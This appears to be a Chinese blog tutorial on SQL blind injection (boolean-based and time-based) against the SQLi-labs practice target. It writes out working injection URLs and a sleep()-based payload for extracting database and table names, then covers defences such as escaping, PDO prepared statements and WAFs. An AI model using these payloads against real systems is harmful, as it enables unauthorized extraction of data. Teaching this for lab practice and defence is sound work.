SQL注入漏洞基础拓展

一、SQL盲注

在有些情况下,应用查询后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,
此时无法再根据报错信息来进行注入的判断。
这种情况下的注入,称为“盲注”
根据表现形式的不同,盲注又分为based boolean和based time两种类型。

1、基于布尔的盲注

主要表现:

  • 没有报错信息
  • 不管输入是否正确,都只显示两种情况(可以认为是0或者1)
  • 在正确的输入下,输入and 1=1/and 1=2 可以判断

手动测试:
测试环境:SQLilabs注入练习靶场,kali,Firefox
Sql小知识展示:

length():获取字符串长度,通常用于获取数据库名的长度。
database(); //得到数据库名称
substr(database(),1,1);//使用substr函数截取结果中的值,从第一个字符开始,截取1个字符。
ascii(substr(database(),1,1)); 将截取出来的字符,转换成acsii码,以便于后面做运算。
ascii(substr(database(),1,1))>97; //结果会为1或者0,也就是true or false

所以根据以上知识,我们在不能根据错误信息进行判断的时候,就可以理由这种方式来猜解数据库的名字等。
首先通过length函数获取数据库名的长度。当猜测的数据库名长度为8时,页面返回正常信息(True)。测试语法如下:

http://192.168.6.129:86/Less-8/?id=1%27%20%20and%20(length(database()))=8%20%20--+

在这里插入图片描述
然后更具substr和ascii两个函数来依次猜解数据库名中的每一个字母。语法如下:

猜解第一个:http://192.168.6.129:86/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))>115--+
猜解第二个:http://192.168.6.129:86/Less-8/?id=1%27%20and%20ascii(substr(database(),2,1))<115--+
.....

在这里插入图片描述
猜解表名:

http://192.168.6.129:86/Less-8/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E100--+

利用同样的方法可以依次列名甚至字段值等。但过程繁琐,猜解费时费力,所以一般使用工具进行探测。

2、基于时间的盲注

如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话
那么基于time的盲注完全就啥都看不到了!
但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入!

注入思路解析:
通过substr对database()的结果截取第一位,然后判断是否等于X,如果等于则为真,然后执行sleep(5),如果不等于则为假,则null, 然后通过sleep的现象来确认,依次类推,遍历出所有的值。
测试步骤解析:
测试环境:SQLilabs注入练习靶场,kali,Firefox
测试第一步,输入任意id,发现页面结果没有任何变化,然后输入id=1 和 id=1’ and sleep(3)–+,对比两次的时间差别,发现差别在3秒左右,说明sleep(3)这个函数已经被执行了,说明存在此漏洞。
在这里插入图片描述

在这里插入图片描述

基础信息获取息test payload:

1' and if ((substr((select database()),1,1))='a',sleep(5),null)--+  //注:mysql中if的用法:
if(条件,true返回,false返回)

通过不断猜解,然后根据后台的响应时间来判断对应的语句是否判断成功。

二、SQL漏洞基础 防范措施

1、代码层

对输入进行严格的过滤和转义
过滤:使用白名单或黑名单进行过滤

eg:str_replace("%","",$_POST['username']) //把post里面的数据里面含有%的替换成空

转义:将一些特殊字符转义为安全字符

eg:
function escape($link,$data){
    
    
	if(is_string($data)){
    
    
		return mysqli_real_escape_string($link,$data);
	}
	if(is_array($data)){
    
    
		foreach ($data as $key=>$val){
    
    
			$data[$key]=escape($link,$val);
		} 
	}
	return $data;
}

使用预处理和参数化
一般做法:使用PDO的prepare预处理(预处理+参数化)

eg:
$username=$_GET['username'];
$password=$_GET['password'];
try{
    
    
$pdo=new PDO('mysql:host=localhost;dbname=ant', 'root', 'root');
$sql="select * from admin where username=? and passowrd=?";
$stmt=$pdo->prepare($sql);//先不传参数,先预处理
// var_dump($stmt);
$stmt->execute(array($username,$password));
//这个时候在把参数传进去,以索引数组的方式传进去,而不是拼接,就成功防止了注入
}catch (PDOException $e){
    
    
echo $e->getMessage();
}
?>

2、网络层防护

在web服务器之前部署WAF(Web applicaton firewall)或者是使用云端防护(云WAF、DDOS清洗、SDN加速)

Guess you like

Origin blog.csdn.net/qq_45590334/article/details/112490196